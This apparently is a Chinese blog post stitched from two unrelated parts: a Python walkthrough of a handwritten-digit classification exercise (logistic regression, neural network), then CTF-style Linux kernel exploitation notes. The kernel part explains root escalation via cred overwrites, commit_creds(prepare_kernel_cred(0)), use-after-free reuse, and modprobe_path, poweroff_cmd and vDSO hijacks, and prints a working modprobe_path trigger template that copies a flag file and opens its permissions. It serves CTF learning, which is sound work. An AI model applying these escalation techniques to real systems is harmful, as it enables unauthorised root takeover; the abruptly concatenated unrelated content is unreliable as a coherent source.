Pwn进你的心

实验介绍

在本练习中，您将实现一对多逻辑回归和神经网络来识别手写数字

• ex3.m - Octave/MATLAB 脚本帮助您完成第1部分
• ex3 nn.m - Octave/MATLAB 脚本帮助您完成第2部分
• ex3data1.mat - 手写数字训练集
• ex3weights.mat - 神经网络训练的初始权重
• submit.m - 提交脚本，将您的解决方案发送到我们的服务器
• displayData.m - 帮助可视化数据集的函数
• fmincg.m - 功能最小化例行程序（类似于fminunc）
• sigmoid.m - Sigmoid 函数（假设陈述）
• [?] lrCostFunction.m - 逻辑回归成本函数
• [?] oneVsAll.m - 训练一个一对多类分类器
• [?] predictOneVsAll.m - 使用一对多类分类器进行预测
• [?] predict.m - 神经网络预测函数

Multi-class Classification（多类分类）

在本练习中，您将使用逻辑回归和神经网络识别手写数字（从0到9）

• 如今，自动手写数字识别被广泛使用——从识别信封上的邮政编码到识别银行支票上的金额
• 本练习将向您展示如何将所学的方法用于此分类任务
• 在练习的第一部分中，您将扩展以前的逻辑回归实现，并将其应用于 one-vs-all（一对多）分类

ex3data1.mat 中提供了一个数据集包含5000个手写数字训练示例（这个 mat 格式意味着数据已以 Octave/MATLAB 矩阵格式保存，而不是像 csv-file 那样的 ASCII 格式），可以使用 load 命令将这些矩阵直接读入程序，加载后，正确尺寸和值的矩阵将出现在程序的内存中，矩阵将已经命名，因此不需要为它们指定名称

• ex3data1.mat 中有5000个训练示例，每个样例都是一个“手写数字”
• 其中每个训练示例的“手写数字”是20像素乘20像素灰度图像，每个像素由一个浮点数表示，表示该位置的灰度强度
• 20×20 的像素网格被“展开”成400维向量，这些训练示例中的每一个都成为我们的数据矩阵X中的一行
• 这给了我们一个 5000×400 的矩阵X，其中每一行都是“手写数字”图像的训练示例
• 训练集的第二部分是 5000 维向量y，其中包含训练集的标签
• 为了与 Octave/MATLAB 索引更兼容，在没有零索引的情况下，我们将数字0映射到值10，因此，“0”数字标记为“10”，而数字“1”至“9”按其自然顺序标记为“1”至“9”

Visualizing the data（可视化数据）

您将首先可视化训练集的一个子集

• 在 ex3.m 的第1部分：代码从X中随机选择100行，并将这些行传递给 displayData 函数
• 此函数将每行映射到 20x20 像素的灰度图像，并一起显示图像
• 我们已经提供了 displayData 函数，我们鼓励您检查代码，看看它是如何工作的，运行此步骤后，应该会看到一个图像

先看一下 displayData 的实现：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

import matplotlib.pyplot as plt
import numpy as np

def display_data(x):
	(m,n) = x.shape
	# 设置每个小图例的宽度和高度
	width = np.round(np.sqrt(n)).astype(int)
	height = (n / width).astype(int)

	# 设置图片的行数和列数
	rows = np.floor(np.sqrt(m)).astype(int)
	cols = np.ceil(m / rows).astype(int)

	# 设置图例之间的间隔
	pad = 1

	# 初始化图像数据
	display_array = -np.ones((pad + rows*(height+pad), pad + cols*(width + pad)))

	# 把数据按行和列复制进图像中(10x10的表格)
	current_image = 0
	for j in range(rows):
		for i in range(cols):
			if current_image > m:
				break 
			max_val = np.max(np.abs(x[current_image,:]))
			display_array[pad + j*(height + pad) + np.arange(height),pad + i*(width + pad) + np.arange(width)[:,np.newaxis]] = x[current_image,:].reshape((height,width)) / max_val
			current_image += 1
		if current_image > m :
			break

	# 显示图像
	plt.figure()
	# 设置图像色彩为灰度值，指定图像坐标范围
	plt.imshow(display_array,cmap = 'gray',extent =[-1,1,-1,1])
	plt.axis('off')
	plt.title('Random Seleted Digits')

• 把输入的图像数据X进行重新排列，显示在一个面板 figurePane 中
• 面板中有多个小 imge 用来显示每一行数据

第一部分的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

import numpy as np
import scipy.io as scio
import matplotlib.pyplot as plt

# ====== 1.读取数据和初始化 ======
data = scio.loadmat('data\ex3data1.mat') # 使用scipy.io中的函数读取mat文件,data的格式是字典

# 根据关键字,分别获得输入数据和输出的真值
X = data['X']
Y = data['y']
print(X.shape) 

# 随机取出其中的100个样本,显示结果
m = X.shape[0] # m:矩阵长度
rand_indices = np.random.permutation(range(m)) # 把[0,m-1]的数据随机排序
selected = X[rand_indices[0:100],:] # 排序后取前100个样本
display_data(selected) # 显示手写数字样例
plt.show()

• shape：读取矩阵的长度
• permutation(X)：随机排列一个序列，或者数组

绘制的图像：

Vectorizing Logistic Regression（向量化逻辑回归）

现在我们要根据数据集来训练一个模型，使机器可以识别出这些“手写数字”对应的“真正数字”，这很明显是一个分类问题，并且还是多元分类，每个样本都有 10 种可能性（“0”~“9”）

您将使用多个 one-vs-all 逻辑回归模型来构建多类分类器：

• 因为有10个类，你需要训练10个独立的逻辑回归分类器
• 为了提高培训的效率，确保代码具有良好的矢量化非常重要
• 在本节中，您将实现逻辑回归的向量化版本（该版本不使用任何 for 循环）

其实在之前的实验中我们已经在使用向量化了（利用矩阵乘法来代替循环），这里实验要求使用

首先，我们先回忆一下逻辑回归-代价函数（交叉熵）的矢量版本：

因为需要求和，所以矢量版本的代码肯定有循环，但是向量版本却可以用“矩阵乘法”来替代循环：

代价函数 lr_cost_function：（带有正则化）

1
2
3
4
5
6
7
8
9
10
11
12
13

def lr_cost_function(X,Y,theta,lmd):
	m = X.shape[0]
	g = sigmoid(X.dot(theta))
	Y = Y.reshape(Y.size)

	cost = (-Y.T).dot(np.log(g)) - ((1-Y).T).dot(np.log(1-g))
	cost = cost /(m) + lmd * (theta.T).dot(theta) / (2*m)
	
	grad = (X.T).dot(g-Y)/ m
	grad[0] = grad[0]
	grad[1:] = grad[1:] + (lmd * theta[1:])/m

	return cost,grad

• PS：和前面 ex2 的 costfunction 相同（因为前面的实验都使用了向量化）

实现主体：

1
2
3
4
5
6
7
8
9
10
11
12

# ====== 2.向量化Logistic Rgression ======

theta_t = np.array([-2, -1, 1, 2])
X_t = np.c_[np.ones(5), np.arange(1, 16).reshape((3, 5)).T/10]
y_t = np.array([1, 0, 1, 0, 1])
lmda_t = 3
cost,grad = lr_cost_function(X_t,y_t,theta_t,lmda_t)
np.set_printoptions(formatter={'float': '{: 0.6f}'.format})
print('Cost: {:0.7f}'.format(cost))
print('Expected cost: 3.734819')
print('Gradients:\n{}'.format(grad))
print('Expected gradients:\n[ 0.146561 -0.548558 0.724722 1.398003]')

• set_printoptions：控制Python中小数的显示精度

One-vs-all Classification（一对多分类）

接下来就要实现多元分类的逻辑回归：

在这部分练习中，您将通过训练多个正则化逻辑回归分类器来实现一对所有分类，每个分类器对应于数据集中的K个类

1
2
3
4
5
6
7
8

# ====== 3.训练模型 ======

lmd = 0.01
num_labels = 10 # 每个样本有10种可能
all_theta = one_vs_all(X,Y,num_labels,lmd) # 模型拟合
pred = predict_one_vs_all(X,all_theta) # 预测手写数字
Y = Y.reshape(Y.size) # 这里一定要把Y.shape变成横向量(之前是竖向量)
print('Training set accurayc:{}'.format(np.mean(pred == Y)*100)) # 计算精度

模型拟合的具体过程在 one_vs_all 函数中，看看该函数的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

import scipy.optimize as opt
import numpy as np

from sigmoid import sigmoid
from lrCostFunction import lr_cost_function

def one_vs_all(X,Y,num_labels,lmd):
	X = np.c_[np.ones(X.shape[0]),X] # 给数据添加偏置维度
	n = X.shape[1]
	all_theta = np.zeros((num_labels,n)) # 保存所有theta的集合
	for i in range(1,num_labels+1):
		init_theta = np.zeros((n,1));
		y = (Y == i).astype(int) # Y中的值是1~10(代表可能的分类,注意:"10"代表了"0")
		
		def cost_func(t):
			return lr_cost_function(X,y,t,lmd)[0]
		def grad_func(t):
			return lr_cost_function(X,y,t,lmd)[1]

		theta, cost, *unused = opt.fmin_bfgs(f=cost_func, fprime=grad_func, x0=init_theta, maxiter=100, full_output=True, disp=False) # 使用fminunc进行拟合
		all_theta[i-1,:] = theta.T # 保存theta

	return all_theta

最后看一下预测函数 predict_one_vs_all 的实现：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

def predict_one_vs_all(X,all_theta):
	m = X.shape[0]
	X = np.c_[np.ones(m),X]
	num_labels = all_theta.shape[0] # 标签数10
	
	# preds[m][k]是第m个样本属于k的概率
	preds = sigmoid(X.dot(all_theta.T))
	P = np.zeros(m)

	for num in range(m):
		# 找到第num行中,与该行最大值相等的列的下标,此时下标的范围是[0,9]
		# label的范围是[1,10],需要把下标的值+1
		# np.where()返回的是一个长度为2的元祖,保存的是满足条件的下标
		# 元组中第一个元素保存的是行下标,第二元素保存的是列下标
		index = np.where(preds[num,:] == np.max(preds[num,:]))
		P[num] = index[0][0].astype(int) + 1

	return P

Neural Networks（神经网络）

在本练习的前一部分中，您实现了多类逻辑回归来识别手写数字，然而，逻辑回归不能形成更复杂的假设，因为它只是一个线性分类器

在这部分练习中，您将使用与之前相同的训练集实现一个神经网络来识别手写数字，神经网络将能够表示形成非线性假设的复杂模型：

• 本次实验，你们将使用我们已经训练过的神经网络的参数
• 您的目标是实现正向传播算法，使用我们的权重进行预测（已经训练好了）
• 在下次的实验中，您将编写学习神经网络参数的反向传播算法

神经网络简图：（具体细节就不解释了）

Model representation（模型表示）

对于本实验的神经网络架构：

这个神经网络有三层：输入层，隐藏层，输出层

• 我们的输入是数字图像的像素值，由于图像的大小为20×20，这给了我们400个输入层单元（不包括总是输出+1的额外偏置单元）
• 与之前一样，训练数据将加载到变量X和y中，我们已经向您提供了一组参数（θ(1),θ(2)），这些参数已经由我们训练过
• 这些都存储在 ex3weights.mat ，并将由 ex3_nn 加载到θ1和θ2，参数的尺寸为神经网络的尺寸，第二层为25个单元，输出为10个单元（对应于10个数字类）

Feedforward Propagation and Prediction（正向传播与预测）

现在，您将为神经网络实现正向传播，您需要在 predict 中完成代码，返回神经网络的预测

你应该实现正向传播算法，为每个示例 i 计算 hθ(x(i)) 并返回相关预测（类似于“一对多”分类策略）

下面是实现过程：

• 1.读取数据，显示随机样例（和上半部分一样）

1
2
3
4
5
6
7
8
9

# ========================= 1.读取数据,显示随机样例 ===========================
data = scio.loadmat('data\ex3data1.mat')
X = data['X']
Y = data['y'].flatten() # 返回一个一维数组
m = X.shape[0] # m:矩阵长度
rand_indices = np.random.permutation(range(m))
selected = X[rand_indices[1:100],:] # 随机取出其中的100个样本
display_data(selected) # 显示手写数字样例
plt.show()

• 2.读取神经网络的参数（）

1
2
3
4
5
6
7
8
9

# ======================= 2.读取神经网络的参数 =================================
weight = scio.loadmat('data\ex3weights.mat')
# 隐藏层有25个节点,输入数据为401维(添加了1个维度的偏置)
# 输出层有10个节点,隐藏层添加一个维度后,有25个输出
theta1 = weight['Theta1']
theta2 = weight['Theta2']

P = predict_nn(X,theta1,theta2) # 预测神经网络
print('Training set accuracy: {}'.format(np.mean(P == Y)*100)) # 计算该模型的准确度

• 3.随机选取样本，并显示预测结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# ======================= 3.随机选取样本,并显示预测结果 =========================
rp = np.random.permutation(range(m)) # 随机排列一个序列,或者数组
for i in range(m):
    print('Displaying Example image')
    example = X[rp[i]]
    example = example.reshape((1, example.size)) # 调节example为1x1(只有一个方框)
    display_data(example) # 显示手写数字样例
    plt.show()
    
    pred = predict_nn( example,theta1, theta2) # 预测手写数字
    print('Neural network prediction: {} (digit {})'.format(pred, np.mod(pred, 10)))
    s = input('Paused - press ENTER to continue, q + ENTER to exit: ')
    if s == 'q':
        break

• 预测函数 predict_nn 的实现：（有点不理解它为什么要这么组织代码）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# 根据输入的数据和参数，计算神经网络的输出
def predict_nn(X,theta1,theta2):
	m = X.shape[0]
	X= np.c_[np.ones(m),X]
	z1 = theta1.dot(X.T) # 隐藏层的输入
	z1 = np.row_stack((np.ones(z1.shape[1]),z1)) # 增加一行维度
	A1 = sigmoid(z1) # 隐藏层的输出
	z2 = theta2.dot(A1) # 输出层的输入
	A2 = sigmoid(z2.T) # 输出层的输出

	# 进行预测
	P = np.zeros(m)
	for num in range(m):
		# 找到第num行中,与该行最大值相等的列的下标,此时下标的范围是[0,9]
		# label的范围是[1,10],需要把下标的值+1
		# np.where()返回的是一个长度为2的元祖,保存的是满足条件的下标
		# 元组中第一个元素保存的是行下标,第二元素保存的是列下标
		index = np.where(A2[num,:] == np.max(A2[num,:]))
		P[num] = index[0][0].astype(int) + 1

	return P

• where(condition)：满足条件(condition)，输出满足条件元素的坐标
• max(array)：返回 array 的最大值

显示图片：

预期结果：

1

Neural network prediction: [4.] (digit [4.])

POSIX 简析

POSIX：可移植操作系统接口（ Portable Operating System Interface，缩写为 POSIX ）

POSIX是一套标准，为了提高Unix的 兼容性 和 应用程序可移植性 而诞生，这套标准涵盖了很多方面，比如：Unix系统调用的C语言接口，shell程序和工具，线程及网络编程

• POSIX兼容也就指定了接口函数兼容，但是并不管API具体如何实现

Kernel 简析

Kernel 是一个程序，是操作系统底层用来管理上层软件发出的各种请求的程序，Kernel 将各种请求转换为指令，交给硬件去处理，简而言之，Kernel 是连接软件与硬件的中间层

Kernel 主要提供两个功能，与硬件交互，提供应用运行环境

在 intel 的 CPU 中，会将 CPU 的权限分为 Ring 0，Ring 1，Ring 2，Ring 3，四个等级，权限依次递减，高权限等级可以调用低权限等级的资源

在常见的系统（Windows，Linux，MacOS）中，内核处于 Ring 0 级别，应用程序处于 Ring 3 级别

Kernel 信息获取

先关闭 kaslr：

1

-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1"

在 root 权限下启动 kernel：

1
2

/ # lsmod 
d3kheap 16384 2 - Live 0xffffffffc0133000 (OE)

1
2
3
4

/ # grep anon_pipe_buf_ops /proc/kallsyms
ffffffff88c3fe40 r anon_pipe_buf_ops
/ # grep commit_creds /proc/kallsyms
ffffffff87cd25c0 T commit_creds

Kernel 提权

内核提权指的是普通用户可以获取到 root 用户的权限，访问原先受限的资源，这里从两种角度来考虑如何提权

• 改变自身：通过改变自身进程的权限，使其具有 root 权限
• 改变别人：通过影响高权限进程的执行，使其完成我们想要的功能

Change Self：

内核会通过进程的 task_struct 结构体中的 cred 指针来索引 cred 结构体，然后根据 cred 的内容来判断一个进程拥有的权限，如果 cred 结构体成员中的 uid-fsgid 都为 0，那一般就会认为进程具有 root 权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
  ...
}

因此，提权方式为：

• 直接修改 cred 结构体的内容（需要先定位 cred，然后将其修改）
• 修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred

Change Others：

如果我们可以改变特权进程的执行轨迹，也可以实现提权，这里我们从以下角度来考虑如何改变特权进程的执行轨迹：

• 改数据
• 改代码

修改 cred 结构体的内容

想要修改 cred 结构体，首先需要确定该结构体的位置：

cred定位-直接扫描 cred

cred 结构体的最前面记录了各种 id 信息，对于一个普通的进程而言，uid-fsgid 都是执行进程的用户的身份，因此我们可以通过 扫描内存 来定位 cred

• 在实际定位的过程中，我们可能会发现很多满足要求的 cred，这主要是因为 cred 结构体可能会被拷贝、释放
• 一个很直观的想法是在定位的过程中，利用 usage 不为 0 来筛除掉一些 cred，但仍然会发现一些 usage 为 0 的 cred
• 这是因为 cred 从 usage 为 0， 到释放有一定的时间
• 此外，cred 是使用 rcu 延迟释放的

cred定位-通过task_struct间接定位

进程的 task_struct 结构体中会存放指向 cred 的指针，因此我们可以：

• 定位当前进程 task_struct 结构体的地址
• 根据 cred 指针相对于 task_struct 结构体的偏移计算得出 cred 指针存储的地址
• 获取 cred 具体的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

struct task_struct {
volatile long state; // 说明了该进程是否可以执行,还是可中断等信息
unsigned long flags; // Flage 是进程号,在调用fork()时给出
int sigpending; // 进程上是否有待处理的信号
mm_segment_t addr_limit; // 进程地址空间,区分内核进程与普通进程在内存存放的位置不同
    /* 0-0xBFFFFFFF for user-thead */
    /* 0-0xFFFFFFFF for kernel-thread */
volatile long need_resched; // 调度标志,表示该进程是否需要重新调度,若非0,则当从内核态返回到用户态,会发生调度
int lock_depth; // 锁深度
long nice; // 进程的基本时间片
unsigned long policy; // 进程的调度策略,有三种,实时进程:SCHED_FIFO,SCHED_RR, 分时进程:SCHED_OTHER
struct mm_struct *mm; // 进程内存管理信息
int processor; 
unsigned long cpus_runnable, cpus_allowed; // 若进程不在任何CPU上运行, cpus_runnable 的值是0,否则是1(这个值在运行队列被锁时更新)
struct list_head run_list; // 指向运行队列的指针
unsigned long sleep_time; // 进程的睡眠时间
struct task_struct *next_task, *prev_task; // 用于将系统中所有的进程连成一个双向循环链表,其根是init_task
struct mm_struct *active_mm;
struct list_head local_pages; // 指向本地页面      
unsigned int allocation_order, nr_local_pages;
struct linux_binfmt *binfmt; // 进程所运行的可执行文件的格式
int exit_code, exit_signal;
int pdeath_signal; // 父进程终止时向子进程发送的信号
unsigned long personality;
int did_exec:1; // Linux可以运行由其他UNIX操作系统生成的符合iBCS2标准的程序
pid_t pid;				/* 进程标识符,用来代表一个进程 */
pid_t pgrp;				/* 进程组标识,表示进程所属的进程组 */
pid_t tty_old_pgrp;		/* 进程控制终端所在的组标识 */
pid_t session;  		/* 进程的会话标识 */
pid_t tgid;
int leader; // 表示进程是否为会话主管
struct task_struct *p_opptr,*p_pptr,*p_cptr,*p_ysptr,*p_osptr;
struct list_head thread_group; // 线程链表
struct task_struct *pidhash_next; // 用于将进程链入HASH表
struct task_struct **pidhash_pprev;
wait_queue_head_t wait_chldexit; // 供wait4()使用
struct completion *vfork_done; // 供vfork()使用
unsigned long rt_priority; // 实时优先级，用它计算实时进程调度时的weight值

/* it_real_value,it_real_incr用于REAL定时器(单位为jiffies):
系统根据it_real_value设置定时器的第一个终止时间,在定时器到期时,向进程发送SIGALRM信号,同时根据it_real_incr重置终止时间 */
    
/* it_prof_value，it_prof_incr用于Profile定时器(单位为jiffies):
当进程运行时,不管在何种状态下,每个tick都使it_prof_value值减一,当减到0时,向进程发送
信号SIGPROF,并根据it_prof_incr重置时间 */
    
/* it_virt_value,it_virt_value用于Virtual定时器(单位为jiffies):
当进程运行时,不管在何种状态下,每个tick都使it_virt_value值减一,当减到0时,向进程发送信号SIGVTALRM,根据it_virt_incr重置初值 */
    
unsigned long it_real_value, it_prof_value, it_virt_value;
unsigned long it_real_incr, it_prof_incr, it_virt_value;
struct timer_list real_timer; // 指向实时定时器的指针
struct tms times; // 记录进程消耗的时间
unsigned long start_time; // 进程创建的时间
long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS]; // 记录进程在每个CPU上所消耗的用户态时间和核心态时间
    
/* 内存缺页和交换信息:
min_flt,maj_flt:累计进程的次缺页数(Copy on　Write页和匿名页)和主缺页数(从映射文件或交换
设备读入的页面数)
nswap:记录进程累计换出的页面数,即写到交换设备上的页面数
cmin_flt,cmaj_flt,cnswap:记录本进程为祖先的所有子孙进程的累计次缺页数,主缺页数和换出页面数,在父进程回收终止的子进程时,父进程会将子进程的这些信息累计到自己结构的这些域中
*/
unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
int swappable:1; // 表示进程的虚拟地址空间是否允许换出
    
/* 进程认证信息:
uid,gid:为运行该进程的用户的用户标识符和组标识符,通常是进程创建者的uid,gid
euid,egid:为有效uid,gid
fsuid,fsgid:为文件系统uid,gid,这两个ID号通常与有效uid,gid相等,在检查对于文件系统的访问权限时使用他们
suid,sgid:为备份uid,gid
*/
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
int ngroups; // 记录进程在多少个用户组中
gid_t groups[NGROUPS]; // 记录进程所在的组
kernel_cap_t cap_effective, cap_inheritable, cap_permitted; // 进程的权能,分别是有效位集合,继承位集合,允许位集合
int keep_capabilities:1;
struct user_struct *user;
struct rlimit rlim[RLIM_NLIMITS]; // 与进程相关的资源限制信息
unsigned short used_math; // 是否使用FPU
char comm[16]; // 进程正在运行的可执行文件名
int link_count, total_link_count; // 文件系统信息
struct tty_struct *tty; // 指向进程所在的控制终端,如果不需要控制终端,则该指针为空
unsigned int locks;
struct sem_undo *semundo; // 进程在信号灯上的所有undo操作
struct sem_queue *semsleeping; // 当进程因为信号灯操作而挂起时,他在该队列中记录等待的操作
struct thread_struct thread; // 进程的CPU状态,切换时,要保存到停止进程的task_struct中
struct fs_struct *fs; // 文件系统信息
struct files_struct *files; // 打开文件信息
spinlock_t sigmask_lock; // 信号处理函数
struct signal_struct *sig; // 信号处理函数
sigset_t blocked; // 进程当前要阻塞的信号,每个信号对应一位
struct sigpending pending; // 进程上是否有待处理的信号
unsigned long sas_ss_sp;
size_t sas_ss_size;
int (*notifier)(void *priv);
void *notifier_data;
sigset_t *notifier_mask;
u32 parent_exec_id;
u32 self_exec_id;
spinlock_t alloc_lock;
void *journal_info;
};

cred定位-通过comm间接定位

comm 用来标记可执行文件的名字，位于进程的 task_struct 结构体中，我们可以发现 comm 其实在 cred 的正下方，所以我们也可以先定位 comm ，然后定位 cred 的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

    /* Process credentials: */

    /* Tracer's credentials at attach: */
    const struct cred __rcu     *ptracer_cred;

    /* Objective and real subjective task credentials (COW): */
    const struct cred __rcu     *real_cred;

    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu     *cred;

#ifdef CONFIG_KEYS
    /* Cached requested key. */
    struct key          *cached_requested_key;
#endif

    /*
     * executable name, excluding path.
     *
     * - normally initialized setup_new_exec()
     * - access it with [gs]et_task_comm()
     * - lock it with task_lock()
     */
    char                comm[TASK_COMM_LEN];

然而，在进程名字并不特殊的情况下，内核中可能会有多个同样的字符串，这会影响搜索的正确性与效率，因此，我们可以使用 prctl 设置进程的 comm 为一个特殊的字符串，然后再开始定位 comm

cred间接定位-UAF使用同样堆块

虽然我们确实想要修改 cred 的内容，但是不一定非得知道 cred 的具体位置，我们只需要能够修改 cred 即可

如果我们在进程初始化时能控制 cred 结构体的位置，并且我们可以在初始化后修改该部分的内容，那么我们就可以很容易地达到提权的目的，这里给出一个典型的例子：

• 申请一块与 cred 结构体大小一样的堆块
• 释放该堆块
• fork 出新进程，恰好使用刚刚释放的堆块
• 此时，修改 cred 结构体特定内存，从而提权

cred修改

在具体修改时，我们可以使用如下方式：

• 修改 cred 指针为内核镜像中已有的 init_cred 的地址（这种方法适合于我们能够直接修改 cred 指针以及知道 init_cred 地址的情况）
• 伪造一个 cred，然后修改 cred 指针指向该地址即可（这种方式比较麻烦，一般并不使用）
• 使用 commit_creds(prepare_kernel_cred(0)) 来进行提权，该方式会自动生成一个合法的 cred，并定位当前线程的 task_struct 的位置，然后修改它的 cred 为新的 cred（该方式比较适用于控制程序执行流后使用，例如ROP后）

改变特权进程的执行轨迹

如果我们可以改变特权进程的执行轨迹，也可以实现提权，这里我们从以下角度来考虑如何改变特权进程的执行轨迹：改数据，改代码

改数据-符号链接

如果一个 root 权限的进程会执行一个符号链接的程序，并且该符号链接或者符号链接指向的程序可以由攻击者控制，攻击者就可以实现提权

改数据-利用 call_usermodehelper

修改 modprobe_path 实现提权的基本流程如下：

• 获取 modprobe_path 的地址
• 修改 modprobe_path 为指定的程序（当前进程）
• 触发执行 call_modprobe，从而实现提权 ，这里我们可以利用以下几种方式来触发：
  • 执行一个非法的可执行文件，非法的可执行文件需要满足相应的要求
  • 使用未知协议来触发

使用 modprobe_path 的模板：

1
2
3
4
5
6
7
8
9
10
11
12
13

// step 1: 将modprobe_path修改为目标值

// step 2: 创建相关文件
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag\ncat flag' > /home/pwn/catflag.sh");
system("chmod +x /home/pwn/catflag.sh");

// step 3.1: 使用未知的可执行文件触发它
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");

// step 3.2: 使用未知协议触发它
socket(AF_INET,SOCK_STREAM,132);

• 由于 modprobe_path 的取值是确定的，所以我们可以直接扫描内存，寻找对应的字符串，这需要我们具有扫描内存的能力
• 考虑到 modprobe_path 相对于内核基地址的偏移是固定的，我们可以先获取到内核的基地址，然后根据相对偏移来得到 modprobe_path 的地址

改数据-修改 poweroff_cmd

• 获取 poweroff_cmd 的地址
• 修改 poweroff_cmd 为指定的程序（当前进程）
• 劫持控制流执行 __orderly_poweroff

关于如何定位 poweroff_cmd，我们可以采用类似于定位 modprobe_path 的方法

改代码-修改 vDSO 代码

内核中 vDSO 的代码会被映射到所有的用户态进程中，如果有一个高特权的进程会周期性地调用 vDSO 中的函数，那我们可以考虑把 vDSO 中相应的函数修改为特定的 shellcode，当高权限的进程执行相应的代码时，我们就可以进行提权

• 在早期的时候，Linux 中的 vDSO 是可写的，考虑到这样的风险，Kees Cook 提出引入 post-init read-only 的数据，即将那些初始化后不再被写的数据标记为只读，来防御这样的利用

通过修改 vDSO 进行提权的基本方式如下：

• 定位 vDSO（IDA中查看为：raw_data）
• 修改 vDSO 的特定函数为指定的 shellcode
• 等待触发执行 shellcode

这里我们着重关注下如何定位 vDSO：

在 IDA 中定位：

• 在 ida 里定位 init_vdso 函数的地址

1
2
3
4
5
6
7
8
9
10

__int64 init_vdso()
{
  init_vdso_image(&vdso_image_64 + 0x20000000);
  init_vdso_image(&vdso_image_x32 + 0x20000000);
  cpu_maps_update_begin();
  on_each_cpu((char *)startup_64 + 0x100003EA0LL, 0LL, 1LL);
  _register_cpu_notifier(&sdata + 536882764);
  cpu_maps_update_done();
  return 0LL;
}

• 进入“vdso_image_64”或者“vdso_image_x32”后，就可以看到“raw_data”了

1
2
3

.rodata:FFFFFFFF81A01300                 public vdso_image_64
.rodata:FFFFFFFF81A01300 vdso_image_64   dq offset raw_data      ; DATA XREF: arch_setup_additional_pages+18↑o
.rodata:FFFFFFFF81A01300                                         ; init_vdso+1↓o

在内存中定位：

• vDSO 其实是一个 ELF 文件，具有 ELF 文件头，同时，vDSO 中特定位置存储着导出函数的字符串，因此我们可以根据这两个特征来扫描内存，定位 vDSO 的位置
• 考虑到 vDSO 相对于内核基地址的偏移是固定的，我们可以先获取到内核的基地址，然后根据相对偏移来得到 vDSO 的地址

Kernel 目录结构

通常一个文件系统映像（core.cpio）解压以后有如下目录/文件：

1
2
3

➜  core ls
bin      etc  init     lib64   proc  sbin  tmp  vmlinux
core.ko  lib  linuxrc  root    sys   usr

• bin目录：普通用户使用的二进制文件，包括了各种终端命令
• sbin目录：超级用户专用的二进制代码存放目录，主要用于系统管理

• usr目录：usr 是 unix shared resources(共享资源) 的缩写，用户的很多应用程序和文件都放在这个目录下

  • /usr/bin：普通用户在后期安装的一些软件的运行脚本
  • /usr/sbin：存放了超级用户使用的，对于boot启动时非必须的二进制程序文件
• etc目录：配置文件目录
• sys目录：包含硬件设备的驱动程序信息（一般为NULL）
• proc文件：proc虚拟文件系统在内核空间和用户空间之间打开了一个通信窗口（一般为NULL）
• init文件：初始化脚本（拥有关键信息）
• lib64目录：包含大量库文件（通常 lib32，lib64 只会有一个，而 lib 是其中一个的符号链接）
• lib目录：包含基本的共享库和内核模块，arch(架构)，drivers(驱动)，fs(文件系统)，net(网络)
• tmp目录：用于存放临时文件（一般为NULL）
• vmlinux文件：静态链接的可执行文件格式的 Linux 内核，分析的目标之一
• core.ko文件：驱动文件，分析的目标之一（文件名可能不是“core”，主要看这个“ko”后缀）
• linuxrc链接：链接目标 [bin/busybox]
• root目录：root用户使用的目录，通常装有“flag”

驱动函数

当我们用 IDA 分析一个驱动文件时，会得到以下函数：

这些函数就是驱动函数，也被称为 ioctl 函数：

• ioctl 是设备驱动程序中对设备的 I/O 通道进行管理的函数
• ioctl 函数是文件结构中的一个属性分量，就是说如果你的驱动程序提供了对 ioctl 的支持，用户就可以在用户程序中使用 ioctl 函数控制设备的 I/O 通道
• 在驱动程序中实现的 ioctl 函数体内，实际上是有一个 switch{case} 结构，每一个 case 对应一个命令码，做出一些相应的操作，怎么实现这些操作，这是由每一个程序员自己控制的，因为设备都是特定的

驱动函数是 kernel 中容易出问题的点，是该重点分析的对象

内核结构体

这里整理了一些内核常用的结构体：

1
2
3
4
5
6
7

00000000 list            struc ; (sizeof=0x28, mappedto_3)
00000000 item            dq ?                    ; offset
00000008 mutex           dq ?                    ; offset
00000010 field_10        dq ?
00000018 field_18        dq ?
00000020 field_20        dq ?
00000028 list            ends

1
2
3
4

00000000 fd              struc ; (sizeof=0xD0, mappedto_6)
00000000 field_0         db 200 dup(?)
000000C8 using_list      dq ?                    ; offset
000000D0 fd              ends

1
2
3
4
5
6

00000000 input           struc ; (sizeof=0x10, mappedto_4)
00000000                                         ; XREF: add_item/r
00000000 size            dq ?                    ; XREF: add_item+1A/r
